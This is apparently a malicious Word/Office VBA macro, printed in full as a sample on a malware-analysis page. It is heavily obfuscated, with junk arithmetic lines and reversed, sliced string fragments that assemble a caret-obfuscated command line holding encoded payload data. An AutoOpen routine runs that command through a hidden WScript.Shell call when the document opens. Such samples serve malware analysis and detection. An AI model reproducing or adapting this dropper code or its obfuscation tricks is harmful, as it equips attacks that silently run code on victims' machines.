qBzWrFabJl = sUvRj("3%KYDAhBQZAIDA5AgYAkDA3AANAADAyAgZAMGA2AwMAMDAwAQMAgDAxAgYAQGAzAQMAkDA1AQOAMGAkBwMAYGA1AQMAUGAiBAZAYDAiBQNAADA0AQNAUGAjBAOAQGAiBwMAcDA1AAZAMKlW", 4 + 0, 137 + 0)
      MiWLSa = Hex(vFEij / Int(90432))
      Qoapo = DUPBi / nDzzNl
      GXqNKi = GOIAP + mjptj
      mCWSXM = Hex(UJMOz / Int(74290))
      EsbVA = KWziBa / wRHci
      kiWhk = SvNwzS + EqJHiA
bqziFVZqM = sUvRj("w@AZO1QPAcHAhBwcAEDApBQWAcFAwAgQAEGA4BQSAcDA2BQdA4GANBQMAoFAhBAVAUHA8BgM5435a05061b3143240f3476111d29467'($ (ISnACOLlALaBOLgOtgNiRtSERucEs::]LAHsrAmqz", 3 + 0, 142 + 0)
      YXQFn = Hex(wDICB / Int(68144))
      jCWhLq = hjwYwP / WTnKZ
      YrNORt = iPmLw + lMCTb
      LmdRH = Hex(zYGnz / Int(71887))
      jnBwF = btwuGq / XTcKa
      fLiWU = Jzurw + KrjEXq
jKiPEJY = sUvRj("RBA8NAgDAmBQZAUGAkBAZAMDAjBQMAUGAhBgNAMDA5AgZAIDA4AQMAADA2AQYAcDAwAQYAQDAmBwYAUDA3AAOAUGA1AQOAIDAkBwMAADAwAQMAMDAwAnYMW", 5 + 0, 111 + 0)
      fUWRN = Hex(WbhCjw / Int(92743))
      uFzCQ = YwljBz / wwqSvl
      ulJtQ = wwbzNv + kQmjC
      HcchA = Hex(HkaqW / Int(73855))
      ZVdwRz = zHzUo / iDAuj
      rMzOAk = RzdUj + dmUuGV
XsFCPDt = sUvRj("@F,AxAQNAUDAhBQOAUDA5AAMAQGAxAwMAUGAjBgNAIDA2AQMAMGAxAANAIDA1AAOAcDA2AgYAUGAzAQYAYDA2AgNAgDA4AwNAUGA2AANAIDAlBwNAMzKfH4", 6 + 0, 111 + 0)
      kBJziH = Hex(wfEkjJ / Int(44935))
      iZHdOv = VTnRiK / JIuZA
      pCAjt = altsnW + iEvnd
      rwvSkB = Hex(PZjiY / Int(35425))
      MznrGX = CEFwbD / CcHXd
      VJhHlN = Uobapu + tFfQTB
aIDMpJUidpZ = sUvRj("qUpIDAwAwMAYDAyAAOAMDAkBQZAYGA2AwMAQGAxAAOAEDA5AQNAkDA3AgMAQDAmBANAYDA0AgYAcDA3AgMAkDA3AQNAQGAxAwYAIGAyAAMAUGAkBAOAEDA0AgZAMGAhBQYAYDA0AwMAgDAlB2pSV", 5 + 0, 141 + 0)
      psqTJ = Hex(DMzZGv / Int(49746))
      CSfGt = PNdiIh / TzwqE
      nfRqnc = ZHrCT + UZqnzJ
DNfoCDSEkvHj = kcPsKbatLnj + GpcPLKbjjO + sZCACwO + Chr(34) + iBTmjlb + OMCQCVroS + bqziFVZqM + LhIzwrDf + qBzWrFabJl + OdlXow + nipinzEsG + bjQpIdF + pZcwQnnKq + nDBEaBDQim + XTfsvW + tWsDaaIJS + ujHPIni + QzqSrrww + saEDUuKp + aTYbMtzifOR + mtCfwlMa + TPVmPk + TjSiXjPEO + wWCnSYWZY + fJJopAQ + FDcoojbQm + aIDMpJUidpZ + JGHvbK + hwzXdTTQOU + tztjFkficQ + CLFic + TsiXGjnkY + XzPdt + XtptBqq + FrbKXKu + UbXWIwpCFwG + jIjBFYYh + zHBnHhr + sroJRAll + diwobilbI + JiFYtWI + UovwYv + oFrllviUj + ZYWAXrZ + FzPztmBdvP + NbfYhjHjw + XMcRK + tmMtz + XsFCPDt + oPOzjjmBnar + vpPNTuuUa + DDKLa + CdKcGYp + wWWZIJnLtB + vUtliRd + lJUJbn + jKiPEJY + fYQawBrj + CSTuOHX
      ifVHVa = Hex(ONscK / Int(94564))
      iVzDCf = AhptqT / ahtFL
      fukiG = AwOoHE + BXwoc
End Function

Attribute VB_Name = "wpBjkPzOfh"
Function sZCACwO()
On Error Resume Next
      QDCXB = Hex(sZYQEq / Int(10247))
      HzmUB = cGwoAb / RduwIp
      ukUfi = LTZoMX + RbRdfC
TsiXGjnkY = sUvRj("tpVLIwiNHVCUi% tes&&1.Ba", 5 + 0, 17 + 0)
      oKHOWa = Hex(avdSvA / Int(66273))
      XfHqUa = hIcdi / qLQTG
      ijdFI = rkXvW + WOoEl
      EowEOk = Hex(BocOVc / Int(35279))
      KQRtbc = DiODIk / ItFoX
      dvlwp = iuVuz + zMlVwN
UovwYv = sUvRj("n7BdAIwiNHVCUi%!!%GuNzE", 2 + 0, 17 + 0)
      BPlUq = Hex(bsiji / Int(18232))
      FRDPfS = Rwuhj / MJXjn
      rhWlsa = nNRvOm + RliIWq
      JKzii = Hex(YRcqO / Int(25912))
      TcjDwS = qCZZk / noajt
      anpiJ = rzSoO + KWJvl
wWCnSYWZY = sUvRj("vB4z1LYCP% tes&&zPiiz", 2 + 0, 15 + 0)
      uRXpNH = Hex(Yuakkq / Int(87274))
      CmLiwW = ESlBnT / OwsCk
      cokait = NRPhwV + IjzRn
      LzvfEM = Hex(VKzoF / Int(63100))
      XpihFN = UjPFj / AkRMp
      FVRiVv = wlvDmL + HrPunQ
zHBnHhr = sUvRj("f87WuOliL", 2 + 0, 1 + 0)
      GrSja = Hex(LBksl / Int(98448))
      aNGKM = JOkZdd / utJVWY
      Sziww = XlzACS + tLtlEi
      TDLwr = Hex(iHwot / Int(44738))
      hjXrS = jkwCln / PCGlpj
      PVjdnC = hXwda + KIdPGD
OMCQCVroS = sUvRj("fTCsbE% tes%Ld", 4 + 0, 8 + 0)
      fRUBZ = Hex(tpcAN / Int(98439))
      tILzt = PHCMC / LLoHY
      ilOzwB = EcJhFX + iNhBwd
      zBaua = Hex(ihswX / Int(70675))
      wPUmim = YHmas / rBWJZL
      fijJmn = DjcWAY + IzYpmo
mtCfwlMa = sUvRj("nES3,kKSm% tesi", 2 + 0, 7 + 0)
      bpPzCz = Hex(cLjWMr / Int(19700))
      iKAqK = ofPaU / iBzUnX
      EoRKjo = aYtAoj + oQNovd
      ALllXH = Hex(bmvGiw / Int(13507))
      DKhubF = sGBwI / KrQPm
      uQODFb = TlsvPR + rEhXO
diwobilbI = sUvRj("itKL&&wcERwANhqTtp", 3 + 0, 12 + 0)
      hkTfk = Hex(zoQufq / Int(93352))
      MaoHcS = lizKlf / TGKsA
      SJzjS = cCCrNF + TvQPZ
      pfKpi = Hex(NQfzA / Int(97495))
      JjtAlz = PaJlik / rmWQju
      XoYYC = fBmzo + bARHoj
vUtliRd = sUvRj("Z74tntLYCP%!!%cLLapON", 5 + 0, 12 + 0)
      bmOWY = Hex(uwVdJ / Int(67169))
      EZmuU = ioENoJ / sJcaih
      QTPIRA = IOKXc + UhBOW
      XwSCji = Hex(JfLPQ / Int(58695))
      bXEnV = Smapt / aSvqCH
      oVVfY = zSFnn + MaifiS
TjSiXjPEO = sUvRj("VqK&&r^e=%GuNzDM3G6", 5 + 0, 12 + 0)
      TLdkVd = Hex(pDwOo / Int(18091))
      rqqFs = SXpMzm / hPwnNY
      oNKkzC = ftUqw + kVjnZq
      GpSdhq = Hex(jROvU / Int(55119))
      uWOsa = wNqEWL / LLCbrF
      cdhtp = pOTLWv + ZDHRa
fYQawBrj = sUvRj("SiSKwAtpDOTUPst%!!%zoWO", 2 + 0, 14 + 0)
      voszOG = Hex(DzUOn / Int(7436))
      LzQpU = wBjui / buOIEl
      sJcki = mTYpu + YSjFc
      iaqqNL = Hex(VJTTW / Int(43794))
      apPiHd = XWGjiw / cllKpX
      nwlUE = sGRSjz + NTFGEw
XzPdt = sUvRj("JfFDCofND%!=%zoWI,V4BYs", 7 + 0, 14 + 0)
      KEkJiM = Hex(sXhJjz / Int(52301))
      siOCiD = EnAhJ / JjfFt
      DiMbls = AjjJz + OaabrC
      RltTt = Hex(pmXotE / Int(54265))
      haLfoz = vISiR / HUGEv
      BbmUYG = VsvVYD + JDmoc
ujHPIni = sUvRj("GuA2L% tes&&eh=%wXt2", 2 + 0, 14 + 0)
      NQVdb = Hex(bThRRj / Int(96346))
      aOuGnY = dLAmt / sIDiRb
      PkFJtm = Uoaila + zvIjBD
      VftqZB = Hex(jaXjPN / Int(26752))
      LkiwcE = bKwsz / wPERjL
      PaIPM = GWLzS + Huzno
oPOzjjmBnar = sUvRj("SRzWtVfPzdWjq", 2 + 0, 7 + 0)
      stHDj = Hex(jDzlKT / Int(34227))
      BKUkbO = JzqQMd / przbQ
      nRvLr = iITVL + jiVwaO
      IrOll = Hex(QJift / Int(4379))
      EHOMAP = zGMCr / iaJaT
      HdTvWu = zjjGNZ + jlOwHr
bjQpIdF = sUvRj("odqpZCpNdo", 3 + 0, 3 + 0)
      FNBfMu = Hex(tqAILM / Int(89341))
      kMrSU = jOAwc / btLLS
      uCPSPK = CDtjw + NpbBC
      ANFEP = Hex(YktdT / Int(37202))
      IDjFB = swSzG / BusMwq
      kMjrT = puMjF + BClAS
LhIzwrDf = sUvRj("liTes&&!%msJravmzp", 6 + 0, 10 + 0)
      GbXVc = Hex(OzNOQj / Int(46306))
      mPiBZM = mLZjN / sFpPu
      JqPfPk = dTGai + LIUlTk
      obUwJl = Hex(EBaSVM / Int(29440))
      YkWclG = JwfHH / DVbzHW
      vboUT = JNXHh + mpWzA
lJUJbn = sUvRj("KJaBYapWjjn=%MbuLzs", 5 + 0, 12 + 0)
      HpVRVS = Hex(imBfw / Int(40693))
      qzAwv = IWzFl / wAUwhY
      WzjuiG = TpcIi + mTQmo
      VbZOXQ = Hex(DBvLPa / Int(56415))
      tXvLFY = liANAC / asGtG
      FsUDAK = BzILOn + ipnjoa
CSTuOHX = sUvRj("qJiMfhA", 2 + 0, 1 + 0)
      puOJPl = Hex(aCFWUs / Int(88489))
      CrKvl = oWozNZ / lEWFjz
      zFulY = buDouv + hmvYso
      Uzwcz = Hex(lUJKw / Int(82938))
      EHSFfw = YwHiTK / qzYkI
      wZKGz = Ujshi + NEqHML
XTfsvW = sUvRj("fPOsViPiTDZS% tes&&wZwlkw", 2 + 0, 19 + 0)
      sTfYpQ = Hex(pHvWk / Int(50819))
      jviwMI = dIfPcv / GSjkN
      QqRBU = oPNnWw + zjILL
      UAjdrt = Hex(tsajT / Int(48880))
      FbwDna = RwGvp / iMBziQ
      PizUGz = vzwvS + AwkiU
sroJRAll = sUvRj("G2w^o=%jHvkESDCofRo,Kwzb", 8 + 0, 15 + 0)
      nhCBc = Hex(CGrhra / Int(9663))
      cYacb = pIHUBK / jmlbSf
      dPNdW = EraOGW + QjcWIG
      ZMjjE = Hex(UjspRv / Int(59414))
      BJMJHm = PdXVp / SwnFA
      TKkzm = UZoRC + QGmXN
nipinzEsG = sUvRj("TJPHQ r&XvoRSjRMp", 2 + 0, 9 + 0)
      KuXzK = Hex(MKOMBk / Int(8687))
      QoLdQL = tmMYw / CFidui
      vFjWA = lcBHX + MTDcv
      JMjrp = Hex(waWGY / Int(33346))
      cGFho = FkFWDu / tRudK
      iaVfrO = WcTCVz + TXDXKZ
FDcoojbQm = sUvRj("ESNqdidpWBPXu%!!%wXD", 2 + 0, 14 + 0)
      PTDqd = Hex(cchfsw / Int(51957))
      hHaOSw = cQDAG / tVOXS
      ZTGSoO = NtvoJ + WDmQc
      jWXnI = Hex(FuEwK / Int(24165))
      QuiuF = SKadLj / qBkvm
      MvEpDD = QlXBd + CYUiWm
XMcRK = sUvRj("uLi2h3Fq !%w", 2 + 0, 3 + 0)
      OjOIsL = Hex(EjEJJ / Int(18814))
      zSLFbr = UjnZA / jfVTO
      wWdhw = szvhhO + TVCFJc
      viCElQ = Hex(TDFqXd / Int(94916))
      SWFLq = XELsw / XTCqEN
      korPal = nzwLnW + siXWbE
CLFic = sUvRj("iBGlViLf@S", 7 + 0, 2 + 0)
      YarMo = Hex(PAAOlJ / Int(76018))
      RaHfZ = iYHzE / lfkfUc
      jMOAC = DVnzhZ + jjaIQr
      IPJVPz = Hex(tlJwL / Int(37700))
      sDivuk = BsMzMG / ZXioou
      TCcQS = hHImM + wuBlmu
wWWZIJnLtB = sUvRj("Q7mONKND% tes&&p=%msRo4", 4 + 0, 14 + 0)
      DHXzV = Hex(roUOa / Int(14057))
      ZVZAC = cjCtjZ / lJpXlw
      hqFvFH = aQNsi + pBaVBj
      NWVKw = Hex(lzczR / Int(46681))
      QNzOvi = WFoQtm / nPiRan
      sSUEM = bozmOa + JOpVm
oFrllviUj = sUvRj("oVFEDT!%hUnchdM", 2 + 0, 8 + 0)
      rzHhF = Hex(Mjwhu / Int(61134))
      kHYufJ = rEhGCB / khYaM
      LvWkkP = zGdGFG + pulUJ
      dLcYc = Hex(pncfzu / Int(44871))
      IBwOi = mXlFh / rizUd
      EoNHJn = XvlqG + aTWPq
UbXWIwpCFwG = sUvRj("tiBv3wWUoiMDLs", 3 + 0, 6 + 0)
      RVlSGZ = Hex(qTmGo / Int(16236))
      FqiwA = JBLZAj / CHpUSI
      MXSVHi = zukozi + zkkaO
      JHfnz = Hex(HkmnMp / Int(20041))
      IIQumd = oGTBCr / QwwUvv
      iQFRS = qcnHaB + PbETHq
tmMtz = sUvRj("J2QTwOwCYKEWJdzO", 6 + 0, 9 + 0)
      VALmvw = Hex(Uprru / Int(27824))
      irLcU = oLTMb / Bforc
      ELrdF = WTPWn + PfnVlj
      kiiDbj = Hex(KGdoJI / Int(95735))
      oKlvo = suEvR / EiNvvh
      QGHAC = RsJDd + RBbORC
vpPNTuuUa = sUvRj("4tunzvMDSm%!f4", 3 + 0, 6 + 0)
      Ocrja = Hex(Kumbs / Int(65698))
      crjujJ = tWKiqa / zncUv
      uSoZWh = rIfQQV + zaUjhH
      LjWkw = Hex(DdBFnE / Int(96085))
      QZwZGY = uNHoLQ / FqWOQd
      nimsi = skiZQ + RuKiR
nDBEaBDQim = sUvRj("BvJhidpWBPXufvqRNU", 7 + 0, 9 + 0)
      tiQVOw = Hex(YbXLjZ / Int(77411))
      idvLh = SqKfh / AwhvI
      bXzzR = qGJiU + zAcqj
      UIolzE = Hex(jDdQL / Int(59065))
      oNLwkM = LuZPi / tWHzDM
      rNNTk = CUinDz + tlwRv
DDKLa = sUvRj("w.L@zK% tes&&s=%cLpGZ", 4 + 0, 13 + 0)
      waJNOV = Hex(QMJwj / Int(26082))
      OsbAsO = KrcHWQ / uHYpB
      Qpizw = VjpKmH + AGAKwZ
      CZwjHK = Hex(iwYEO / Int(55268))
      isMFLm = CYjdNp / kPRjA
      bQoht = kcsXWs + DjVqLz
hwzXdTTQOU = sUvRj("OF2YkovCIWUos", 2 + 0, 4 + 0)
      zAAMGu = Hex(DwhHY / Int(26435))
      KODiLj = TJANk / mmOYFi
      CbPcb = KjiLQw + IsRSLz
      cuGuvV = Hex(inkDD / Int(7673))
      Wodtz = qqnSGG / ibfKh
      MKARzw = dhGDtk + bCGZFl
aTYbMtzifOR = sUvRj("qOpFFqaavc% tes&&@", 2 + 0, 11 + 0)
      FlHoo = Hex(BYHHaV / Int(17824))
      IWXjwF = JkkYV / rjUGF
      oGZtcJ = sFZwd + bATjj
      HhjKd = Hex(zpzCmw / Int(75500))
      wrivQz = FzRRz / kIlnj
      ZvGoIp = OZSMmP + tFwsPG
JiFYtWI = sUvRj("7IuKQIQWijt3", 5 + 0, 4 + 0)
      CBkPsj = Hex(NhMPC / Int(22343))
      CqDWF = iinlfC / diLtXd
      WuWZP = LBsGw + DkrOtW
      VDNSsk = Hex(zUDVBH / Int(4851))
      zXzOAj = GBTsb / KFGzah
      DCMpYC = zGwBoa + tRfioB
FrbKXKu = sUvRj("fk,dL!%jHvkESMp", 3 + 0, 8 + 0)
      zMzAJ = Hex(nOwYba / Int(23408))
      vKHpwm = zERDA / RobOm
      bGpNoO = GkJXa + OizGX
      vNBSEV = Hex(haZwC / Int(99455))
      lAHoli = hRWYr / OSWqdz
      nWGHm = PacSSm + tddOdp
NbfYhjHjw = sUvRj("tvaJ%wiPiTDZSq", 2 + 0, 7 + 0)
      UOvitM = Hex(tPEjVE / Int(64735))
      OtABAT = EzDlww / pHMoLz
      bcNZG = KYjzi + zOjOc
      ZHIQj = Hex(SinFD / Int(76830))
      KbunQ = FVwnzi / hzbOX
      loBSTB = hcnaXc + rTDshn
tWsDaaIJS = sUvRj("v7vGU=%NvJNcZjLz8knWE2", 7 + 0, 13 + 0)
      bjdUI = Hex(fkVHYh / Int(56781))
      ZIIbm = CchVP / zJOuj
      jYKIYw = PQzHj + pwfSL
      QrzJi = Hex(sJjfip / Int(53139))
      SNAfi = bPMDO / EDDJM
      tHUIb = OpFiu + rqrNmt
jIjBFYYh = sUvRj("OoKpc5wF%!=%hUnchdLRo", 4 + 0, 12 + 0)
      BwwrAi = Hex(vXjpGa / Int(35456))
      vTuKm = QsFzVf / XPrQK
      LIzQUd = KrFQXU + TvYTc
      kBGwqb = Hex(ziIoiV / Int(58023))
      BmOkDD = vHpQr / hNbpG
      JuvEUq = UwaCR + qusWRd
QzqSrrww = sUvRj("vMkL=%fidOSN4Q", 5 + 0, 8 + 0)
      dYFwIZ = Hex(qRRjzY / Int(63081))
      wFhut = iNVFYV / LoqKL
      Llpwv = GOCjtC + PWwmoX
      ZJQzF = Hex(EnvLrX / Int(46094))
      PjWBwv = JqSTw / oDIqio
      dOfGJ = ECHnN + DcTiGC
tztjFkficQ = sUvRj("%KJrQIQWwF% tes&zNfi", 5 + 0, 14 + 0)
      HsPSw = Hex(HwPjmV / Int(25371))
      zUBAQs = qKCDEZ / BUZBoR
      fNvhZB = oSURA + DHSiq
      iXCaI = Hex(zCzEIs / Int(80342))
      LMQCFU = zZSKA / JjGZLu
      hbPGGH = ZpoNHD + NqhiRm
OdlXow = sUvRj("UF7=%OpGXfhSSFIZqZSVj5", 6 + 0, 14 + 0)
      fwjPH = Hex(oWsizz / Int(3764))
      kwJvw = iJkFCz / vqYrt
      TCdfq = QuDzKQ + BfdtY
      sPpFw = Hex(DiEcYi / Int(744))
      TuNnwQ = bLJdi / nJmhnO
      dNQkn = KbjNw + AiQZVq
fJJopAQ = sUvRj("0osR4dE%!&&ll=%4", 2 + 0, 8 + 0)
      owRDfb = Hex(OQYRu / Int(70490))
      oSFdd = fFtsw / viwWk
      rEZNM = lJXEt + RSLSL
      CiwSRs = Hex(qmnMb / Int(15709))
      WBmcw = AoXVvo / CahDSQ
      LBdSpW = iapJmq + uBWGk
FzPztmBdvP = sUvRj("38,OTUPst% tesv8s@", 5 + 0, 11 + 0)
      aOGdW = Hex(NXPFkt / Int(21724))
      GVXUm = GSNhLJ / XHZKwh
      QwuAv = JGSVF + aZBZd
      NGpqsz = Hex(XRLrQ / Int(64))
      iqfjdo = nYLDbz / joGOD
      dsQlAw = krlfOG + zCGbMa
JGHvbK = sUvRj("qfpSiM% tJ7Mf", 5 + 0, 7 + 0)
      ahinQz = Hex(odEcN / Int(38800))
      qauij = PvnfpV / JjhiC
      nDLmwj = wwNjCB + nJbMtf
sZCACwO = OMCQCVroS + OdlXow + nipinzEsG + tztjFkficQ + wWWZIJnLtB + sroJRAll + aTYbMtzifOR + CLFic + tWsDaaIJS + XTfsvW + jIjBFYYh + JiFYtWI + LhIzwrDf + JGHvbK + oPOzjjmBnar + QzqSrrww + diwobilbI + FzPztmBdvP + TjSiXjPEO + mtCfwlMa + UbXWIwpCFwG + XzPdt + FrbKXKu + TsiXGjnkY + DDKLa + tmMtz + bjQpIdF + lJUJbn + wWCnSYWZY + ujHPIni + nDBEaBDQim + fJJopAQ + NbfYhjHjw + oFrllviUj + vpPNTuuUa + zHBnHhr + hwzXdTTQOU + fYQawBrj + UovwYv + vUtliRd + FDcoojbQm + CSTuOHX + XMcRK
      diuwzv = Hex(rIvZaj / Int(63703))
      fovwht = iGdoj / zEVlW
      JYQnAo = FnSGc + EqdnQ
End Function

Attribute VB_Name = "sionSubtRXPt"
Function kcPsKbatLnj()
On Error Resume Next
      lmRcTz = Hex(CVrDd / Int(5566))
      wbfJhz = WfdLj / cjLnIp
      RSDlTJ = paRdhf + cOzlkU
SERdVHDp = sUvRj("WhSPzjIkpKBUiis", 3 + 0, 8 + 0)
      PGoRj = Hex(ZWKDu / Int(77467))
      jiYtq = QXwNA / EQAROB
      UaBLP = kHHSQ + itVww
      ubqLn = Hex(KvzUw / Int(62268))
      PVnwX = dICJl / OzWhYj
      moBTAb = RsBWD + EjwjRw
KJzWAP = sUvRj("8qoqRFK7    ,", 2 + 0, 4 + 0)
      iOtsRF = Hex(ZFnNZo / Int(98412))
      bNCnVR = kGjGGj / DpQZDT
      vJCuA = LFnwPj + Fjiid
      IwOwS = Hex(cmMZi / Int(7811))
      jAnSMu = VXWhYZ / ftmwL
      YWptdw = qpHzpM + FJPZrh
jNziAHKhV = sUvRj("avt/     %^c^E^p^S^m^zME", 4 + 0, 18 + 0)
      lkZhYs = Hex(wsacX / Int(8154))
      JLupQ = wfQWs / jPWiN
      dQmmP = EDauw + XSHdwz
      FkJsWD = Hex(AOAAjE / Int(90298))
      UiRrw = hJIjj / RblHt
      BTRiG = TwWWCO + FWfmE
sJFEs = sUvRj("3vo^C^%   RoA,Q", 6 + 0, 8 + 0)
      nJnXaB = Hex(qfSYd / Int(85704))
      XCbFp = aYBmL / tKaAl
      jjFDNw = cwAndw + KHBCva
      sdocbY = Hex(zjcKo / Int(99104))
      wHNMz = zzJuiZ / AUuIk
      TqalA = oYZqL + kXhzXz
RLKzH = sUvRj("5t@E^%     & zM8", 3 + 0, 10 + 0)
      dFtvT = Hex(uCzVdl / Int(39434))
      TjSVWM = LRZHz / zCrAw
      wGPZvG = GFoCvE + GRqPdB
      hQnnUS = Hex(kIajhr / Int(1692))
      UVjtR = iclkG / jckwiN
      sYwcF = MvqKzB + civJnD
foIZJOL = sUvRj("E7dFJdB SVXZUQA", 3 + 0, 9 + 0)
      nwnCCO = Hex(rHXbwU / Int(71900))
      sWsdw = GsRoj / IBjbL
      kStlvZ = OUnSjw + CTpYQJ
      sGHDPK = Hex(fjdJM / Int(57394))
      YYIcJp = CzslD / WDdqEk
      hjGbXN = ACBJY + wzISOk
uTdFiMETO = sUvRj("rZU2Xi MRzziESi", 2 + 0, 9 + 0)
      apHOS = Hex(bkcFm / Int(10915))
      wQrSjF = jPzzjM / kXvLc
      NGrZr = KlYYz + DwohI
      rGrwX = Hex(OTdQz / Int(518))
      fNijuY = IFBoaO / NNCGLP
      MLrBlo = wjNkT + ulHita
jTiuTwNn = sUvRj("wtS^m^o^Cr34R", 5 + 0, 7 + 0)
      NlECWI = Hex(BFbJl / Int(71229))
      TBrfI = pMVnEG / vbGTNl
      TaHoid = zqIEwi + bjQCl
      jzOdMb = Hex(vkkCb / Int(30401))
      PZmJJ = WUNtiK / uApBlC
      WitCp = jwqMi + azoBtY
iAAlhFzw = sUvRj("CODWEvifHIFhbKY2", 3 + 0, 7 + 0)
      LPPkVv = Hex(nNvvi / Int(32889))
      Awjjk = CPZdA / AknFw
      dqqzHw = GnSWB + iNIaAH
      TsSIS = Hex(SlzMSl / Int(57243))
      PIzsr = QAJJQE / kksMl
      mFUMQo = ATQtk + jkEDh
lNUfw = sUvRj("4zi%JXMdhH dmWnU", 4 + 0, 8 + 0)
      wCGSiJ = Hex(NaiAEA / Int(62174))
      rSuvi = UpwkP / uVUjh
      ipifm = DYawSS + tERrR
      cHqbp = Hex(jujHd / Int(12456))
      GkzQVL = zKdpv / CFTnm
      mAllp = LpEHX + CCzJkR
UYqnf = sUvRj("vf3Sn  %^c^E^p^v", 2 + 0, 10 + 0)
      IjHZRi = Hex(jUWia / Int(87675))
      WTzVz = GKWUp / unsVtV
      Adbfa = GodqS + jdNjj
      tnbOd = Hex(ZMVOp / Int(36854))
      DQzMAP = WTLMR / dKHIzw
      WvQDq = awolP + EibJNQ
VEKii = sUvRj("YI       c/         Vss42Hq", 7 + 0, 19 + 0)
      PuwacO = Hex(lWOFMP / Int(81495))
      XIAwWl = WihvXM / CBtsD
      iXUoos = DhjYAz + GTJRu
      LEKWED = Hex(bEGjH / Int(509))
      uSiuU = qsUiW / zzojWt
      NUsztu = Qpifmc + iaRmX
ltIkUOoooib = sUvRj("bWUQTuOMn7wN", 7 + 0, 4 + 0)
      oCSjjA = Hex(FTnUj / Int(75872))
      miCTo = iFANor / VPZXzz
      uKCIS = dfwCKw + DizXzw
kcPsKbatLnj = lNUfw + uTdFiMETO + SERdVHDp + ltIkUOoooib + foIZJOL + iAAlhFzw + RLKzH + jTiuTwNn + UYqnf + sJFEs + jNziAHKhV + VEKii + KJzWAP
      viBEu = Hex(FwquQX / Int(69144))
      ibftA = WDJwDs / qrPBZw
      TLJwNd = jpCmmM + ZCTizD
End Function
Function sUvRj(ByVal SZDTiPidhcnUh As String, uXPBWpdih, PCYLtXw)
On Error Resume Next
      zDUbh = Hex(IjqkF / Int(26636))
      nNZfUQ = sFwZro / LmhAjw
      mjvVh = YBBwi + TGOTl
      wLIrF = Hex(jsIwzJ / Int(69237))
      RwAhi = msIqD / qRVrz
      vwlks = bAloQc + sOMIU
TkXBNaWtCzvTJ = jocQFD + StrReverse(SZDTiPidhcnUh) + oFESXQwf
      nljGF = Hex(iXwcj / Int(73698))
      mdJAl = dTjfh / GWwTQA
      ZfbbbO = bKESd + fdSaJ
mSDMioUWIWoz = ihBuGFwjz + Mid(TkXBNaWtCzvTJ, uXPBWpdih, PCYLtXw) + hEhcCNfLChm
      pSOOBK = Hex(cDVKtV / Int(92137))
      kUVdh = scAkB / SwHYc
      ssifrD = lXfMun + Gpuqj
sUvRj = EkwqO + mSDMioUWIWoz + ApcivziIcD
      FcRowd = Hex(QGzuO / Int(55385))
      RrXjH = sQODwJ / jOMfdC
      pNOPI = jZIjF + zbiGKb
End Function

Attribute VB_Name = "HwoOOqmkdC"
Sub AutoOpen()
On Error Resume Next
      SRLbOD = Hex(IYALTI / Int(65882))
      XKREIB = IvEAw / ZWXFWN
      oPXMa = BDUvcj + RSbSZu
      PIQWOE = Hex(iCcFwu / Int(39552))
      InFii = AnzcTS / HuFjcV
      fwAwVz = Aspjl + JKoNv
Application.Run "tsPUTODzNuG", DNfoCDSEkvHj
      sOURu = Hex(mvbIXZ / Int(37976))
      VcJmG = fjzvJ / iGYzFs
      NcjKhF = jErsV + MLpjA
End Sub
Sub tsPUTODzNuG(iUCVHNiwILLc As String)
On Error Resume Next
      GmkLP = Hex(IwMfX / Int(58785))
      inGwm = cjCYa / HasjWR
      QqVbapiOEmQ = "WScript.Shell"
      wDlwcQ = lYGsD + NpqdFP
      PYUEN = Hex(WIwQP / Int(79936))
      fiwto = fRfDaJ / ubRkP
      HNbXih = SuMmIr + pAirw
CreateObject(QqVbapiOEmQ).Run bjljUuusPuqO + Chr(VBA.vbKeyC) + iUCVHNiwILLc + miADK + MDLlFtui, vbHide
      ftzan = Hex(BXbsCn / Int(74296))
      DzVYHE = ozUak / QzjqZM
      NWzQba = KZLHcZ + HmkVn
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.